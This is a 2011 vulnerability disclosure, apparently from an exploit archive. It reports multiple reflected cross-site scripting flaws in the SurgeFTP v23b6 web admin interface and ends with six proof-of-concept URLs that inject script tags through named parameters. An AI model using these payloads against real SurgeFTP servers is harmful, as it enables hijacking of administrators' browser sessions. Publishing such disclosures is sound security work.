Surge-FTP 23b6 Cross Site Scripting
Posted on 16 August 2011
# Exploit Title : Surge-FTP v23b6 Admin multiple reflected XSS Vulnerabilities # Authored by : Houssam Sahli => backtronux<at>gmail<.>com # Date : 16/08/2011 # Vendor: NetWin # Product web page: http://netwinsite.com # download link : http://netwinsite.com/ftp/surgeftp/surgeftp_23b6_windows.exe # Affected version: v23b6 # Tested on : Windows XP SP3 , Firefox 3.6 Summary: -------- SurgeFTP ftp server provides industrial strength secure SSL / TLS encryption, powerful FTP server performance, full and complete reporting tools and most importantly, ease of management. This advanced FTP Server features full SSL/TLS security for Windows, Linux, FreeBSD and Solaris. With a few clicks you can generate a report to show who's using your server, and more importantly who is misusing it, wasting your bandwidth and resources. In addition, SurgeFTP ftp server offers statistics on connections as well as robust logging capabilities and is fully compliant to all standard FTP protocols, RFC 2389, RFC 959, RFC 2428. Description: ------------ SurgeFTP suffers from multiple reflected XSS vulnerabilities . Input through the POST parameters 'fname', 'last', 'class_name' , 'filter', 'domainid', and 'classid' in '/cgi/surgeftpmgr.cgi' is not sanitized allowing the attacker to execute HTML code into admin's browser session. PoC: ---- http://127.0.0.1:7021/cgi/surgeftpmgr.cgi?cmd=log&domainid=0&fname="<script>alert('XSS');</script> http://127.0.0.1:7021/cgi/surgeftpmgr.cgi?cmd=log&domainid=0&last="<script>alert('XSS');</script> http://127.0.0.1:7021/cgi/surgeftpmgr.cgi?cmd=class&domainid=0&class_name="<script>alert('XSS');</script> http://127.0.0.1:7021/cgi/surgeftpmgr.cgi?cmd=report_file&domainid=0&filter="<script>alert('XSS');</script> http://127.0.0.1:7021/cgi/surgeftpmgr.cgi?cmd=user_admin&domainid="<script>alert('XSS');</script> http://127.0.0.1:7021/cgi/surgeftpmgr.cgi?cmd=class&domainid=0&classid="<script>alert('XSS');</script> *the XSS vulns through 'domainid' & 'classid' parameters is credited to indoushka & FB1H2S.
